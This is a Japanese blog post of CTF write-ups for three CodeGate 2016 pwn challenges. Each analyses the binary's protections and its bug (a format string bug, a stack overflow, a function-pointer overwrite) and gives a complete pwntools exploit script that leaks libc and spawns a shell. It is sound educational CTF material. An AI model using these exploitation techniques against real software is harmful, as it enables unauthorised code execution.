h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その9

前回

[CodeGate 2016] Pwnable490 OldSchool

ELF 32bit、動的リンク、SSPとNX有効。

$ file oldschool
oldschool: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=20bb2d896ad24909d0210a65820586f2d83c93f3, not stripped
$ checksec oldschool
[*] '/home/hnoson/ctf/codegatectf/2016/oldschool/oldschool'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

libcとldが与えられているのでLD_PRELOAD=./libc-2.21.so ./ld-2.21.so ./oldschoolで実行する。

$ LD_PRELOAD=./libc-2.21.so ./ld-2.21.so ./oldschool
YOUR INPUT :%p,%p
RESPONSE :0x3fc,0xf7f1c600

FSB脆弱性がある。攻撃方法は以下の通り。

  • 1回目のfsb
    • .fini_arrayセクションにmainを書き込む
    • libcのアドレスをリークする
    • stackのアドレスをリークする
  • 2回目のfsb
    • __stack_chk_failのGOTをmainに書き換える
    • printfのGOTをsystemに書き換える
    • canaryに適当な値を書き込む
  • 次の入力
#!/usr/bin/env python
from pwn import *
import collections

def fsb(payloads):
    payload = ''
    for target in payloads:
        for i in range(len(payloads[target])):
            payload += p32(target + i)
    prev = len(payload) & 0xff
    i = 0
    for target in payloads:
        for d in payloads[target]:
            payload += '%{}x'.format((ord(d) - prev & 0xff) + 0x100)
            payload += '%{}$hhn'.format(i + 7)
            prev = ord(d)
            i += 1
    return payload

if __name__ == '__main__':
    s = process(['./ld-2.21.so', './oldschool'], env = {'LD_PRELOAD': './libc-2.21.so'})

    elf = ELF('./oldschool')
    libc = ELF('./libc-2.21.so')

    fini = 0x80496dc
    payloads = collections.OrderedDict()
    payloads[fini] = p32(elf.symbols['main'])
    s.sendline(fsb(payloads) + 'AAAA%2$p%264$p')
    s.recvuntil('AAAA')
    libc_base = int(s.recv(10), 16) - 0x1b7600
    log.info('libc base: %#x' % libc_base)
    canary_addr = int(s.recv(10), 16) - 0x104
    log.info('canary address: %#x' % canary_addr)

    payloads = collections.OrderedDict()
    payloads[elf.got['__stack_chk_fail']] = p32(elf.symbols['main'])
    payloads[elf.got['printf']] = p32(libc_base + libc.symbols['system'])
    payloads[canary_addr] = 'A'
    s.sendline(fsb(payloads))

    s.sendline('/bin/sh')
    s.interactive()

[CodeGate 2016] Pwnable315 FlOppy

ELF 32bit、動的リンク、NXとPIE有効。

$ file Fl0ppy
Fl0ppy: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0181e2acbb1c70657d46c26eac0f75b29d82472d, stripped
$ checksec Fl0ppy
[*] '/home/hnoson/ctf/codegatectf/2016/Fl0ppy/Fl0ppy'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

libcは与えられていないが予測することはできたらしいのでlibcは既知として進める。

Fl0ppy - CODEGATE 2016 CTF Preliminary

$ ./Fl0ppy
===========================================================================

1. Choose floppy

2. Write

3. Read

4. Modify

5. Exit

>
  1. Coose floppy: disc1かdisc2を選択する
  2. Write: data(0x200bytes)とdescription(10bytes)を書き込む。1回のみ。
  3. Read: dataとdescriptionを表示する
  4. Modify: dataかdescriptionを書き換える。

デコンパイル結果

struct disc_t {
    int usable; // 0x0
    char *data; // 0x4
    char desc[10]; // 0x8
    int len; // 0x14
};

void write_disc(disc_t *disc) {
    if (disc->usable) {
        puts("Memory is already generated!\n");
        return;
    }
    puts("Input your data: \n");
    disc->data = malloc(0x200);
    memset(disc->data, 0, 0x200);
    read(0, disc->data, 0x200);
    disc->len = strlen(disc->data);
    read(0, disc->desc, 10);
    disc->usable = 1;
}

void read_disc(disc_t *disc, int floppy) {
    if (!disc->usable) exit(-1);
    printf("FLOPPY%d\n", floppy);
    printf("DESCRIPTION: %s\n", disc->desc);
    printf("DATA: %s\n", disc->data);
}

void modify_disc(disc_t *disc) {
    char buf[0x400];
    memset(buf, 0, 0x400);
    if (!disc->usable) exit(-1);
    int choice;
    scanf("%d", &choice);
    getc(stdin);
    if (choice == 1) {
        read(0, buf, 0x25);
        int len = strlen(buf);
        strncpy(disc->desc, buf, len-1);
    }
    else if (choice == 2) {
        read(0, buf, 0x200);
        disc->len = strlen(buf);
        strcpy(disc->data, buf);
    }
    else exit(-1);
}

int main(void) {
    setvbuf(stdout, 0, 2, 0);
    ssignal(0xd, 1);
    // some ops
    disc_t disc2; // ebp - 0x3c
    disc_t disc1; // ebp - 0x24
    disc_t *chosen; // ebp - 0xc
    int floppy; // ebp - 0x40
    for (;;) {
        int choice = menu();
        switch (choice) {
            case 1:
                puts("Which floppy do you want to use? 1 or 2?");
                scanf("%d", &floppy);
                getc(stdin);
                if (floppy == 1)
                    chosen = &disc1;
                else if (floppy == 2)
                    chosen = &disc2;
                else
                    exit(-1);
                break;
            case 2:
                if (chosen == &disc1 || chosen == &disc2)
                    write_disc(chosen);
                break;
            case 3:
                if ((chosen == &disc1 || chosen == &disc2) && disc1->usable)
                    read_disc(chosen, floppy);
                break;
            case 4:
                if ((chosen == &disc1 || chosen == &disc2) && disc1->usable)
                    modify_disc(chosen);
        }

    }
    return 0;
}

modify_discでスタックバッファオーバーフローする。descriptionは10bytesの大きさしか持っていないが最大で0x25bytes書き込める。また、文字列のコピーにはstrncpyを使っておりnul文字が最後に挿入されないため、main関数内のdisc1の後ろにあるchosenの値をリークできる。また、disc1にあるアドレスを書き換えることで.textセクションのアドレスとlibcのアドレスをリークできる。使っているlibcがわかるという前提だったのでsystemのアドレスを求めて、リターンアドレスをsystemに書き換えてシェルを起動した。

#!/usr/bin/env python
from pwn import *

def choose(floppy):
    s.sendlineafter('>\n', '1')
    s.sendlineafter('2?\n\n', str(floppy))

def write(data, desc):
    s.sendlineafter('>\n', '2')
    s.sendafter('data: \n\n', data)
    s.sendafter('Description: \n\n', desc)

def read():
    s.sendlineafter('>\n', '3')
    s.recvuntil('DESCRIPTION: ')
    desc = s.recvline(False)
    s.recvuntil('DATA: ')
    data = s.recvline(False)
    return (desc, data)

def modify(which, data):
    s.sendlineafter('>\n', '4')
    s.sendlineafter('Data\n\n', str(which))
    s.sendafter(': \n', data)

def leak(addr):
    choose(2)
    modify(1, 'A' * 0x14 + p32(addr) + 'A')

    choose(1)
    return u32(read()[1][:4])

if __name__ == '__main__':
    s = process('./Fl0ppy')
    elf = ELF('./Fl0ppy')
    libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')

    choose(1)
    write('A', 'A')
    modify(1, 'A' * 0x11)
    stack_addr = u32(read()[0][0x14:0x18]) - 0x4
    log.info('stack address: %#x' % stack_addr)

    choose(2)
    write('A', 'A')

    text_base = leak(stack_addr + 0x50) - 0xa10
    log.info('text base: %#x' % text_base)

    libc_base = leak(text_base + elf.got['__libc_start_main']) - libc.symbols['__libc_start_main']
    log.info('libc base: %#x' % libc_base)

    choose(2)
    modify(1, 'A' * 0x14 + p32(stack_addr) + 'A')

    payload = ''
    payload += p32(libc_base + libc.symbols['system'])
    payload += 'A' * 4
    payload += p32(stack_addr + 0xc)
    payload += '/bin/sh\0'

    choose(1)
    modify(2, payload)

    s.sendlineafter('>\n', '5')
    s.recvuntil('=\n\n')
    s.interactive()

[CodeGate 2016] Pwnable444 Serial

ELF 64bit、動的リンク、SSPとNX有効。

$ file serial
serial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=178aaa6576923592e7fc8534fd8cb21d5f6c5cdb, stripped
$ checksec serial
[*] '/home/hnoson/ctf/codegatectf/2016/serial/serial'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

始めにproduct keyを求められる。

$ ./serial
input product key: 

ディスアセンブル結果を見たら判定の式を簡単にできたのでpythonで同じ処理をして突破。後で気づいたけどデバッガで見れば正しい値がわかるし、angrでやれば解析する必要がなかった。

def calc_key():
    a = 0xacac
    b = 0xabab
    c = 0xff0
    d = 0xf0f
    k1 = (a ^ b ^ c) + (d << 8 | d >> 8)
    k2 = (b ^ d) + (b << 5 | b >> 0xb)
    k3 = c
    return str(k1 & 0xffff) + str(k2 & 0xffff) + str(k3 & 0xffff)
$ ./exploit.py
...
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 1
insert >> AAA
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 1
insert >> BBB
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 2
0. AAA
1. BBB
choice>> 0
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 3
func : 0x40096e
0. BBB
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >>

0x20バイトのノートを10つまで保存できる。領域はcalloc(10, 0x20)で確保される。

  1. Add: 使われていないノートに書き込みを行う。0x18バイト目に関数ポインタがセットされ、その後に0x20バイト書き込む。つまり関数ポインタを書き換えられる。
  2. Remove: インデックスを指定して書き込んだ内容を消す。
  3. Dump: ノートの先頭を引数として0x18バイト目にある関数ポインタを実行する。

関数ポインタをprintfで書き換えることでprintf("%p")でアドレスをリークできる。スタックのアドレスをリークしてret2dlresolveするのは厳しそうだったが本番ではlibcが容易に特定できたようなので、libcのベースアドレスからsystemのアドレスを求めてシェルを呼び出した。念の為libc-databaseが使えるように__libc_start_mainのアドレスをリークした。(product keyを入力するときに余分に入力できるのでリークしたいアドレスを書き込んでおくと、printf("%16$s")でリークできる。)

#!/usr/bin/env python
from pwn import *

def calc_key():
    a = 0xacac
    b = 0xabab
    c = 0xff0
    d = 0xf0f
    k1 = (a ^ b ^ c) + (d << 8 | d >> 8)
    k2 = (b ^ d) + (b << 5 | b >> 0xb)
    k3 = c
    return str(k1 & 0xffff) + str(k2 & 0xffff) + str(k3 & 0xffff)

def add(data):
    s.sendlineafter('choice >> ', '1')
    s.sendlineafter('insert >> ', data)

def remove(index):
    s.sendlineafter('choice >> ', '2')
    s.sendlineafter('choice>> ', str(index))

def dump():
    s.sendlineafter('choice >> ', '3')

if __name__ == '__main__':
    s = process('./serial')

    elf = ELF('./serial')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    s.sendlineafter('key: ', calc_key() + 'A' * 4 + p64(elf.got['__libc_start_main']))

    add(('%16$s').ljust(0x18, 'A') + p64(elf.symbols['printf']))
    dump()
    s.recvuntil('func')
    s.recvline()
    libc_base = u64(s.recvuntil('AA')[:-2].ljust(8, '\0')) - libc.symbols['__libc_start_main']
    log.info('libc base: %#x' % libc_base)

    remove(0)
    add('/bin/sh;'.ljust(0x18, 'A') + p64(libc_base + libc.symbols['system']))
    dump()
    s.recvuntil(hex(libc_base + libc.symbols['system']) + '\n')
    s.interactive()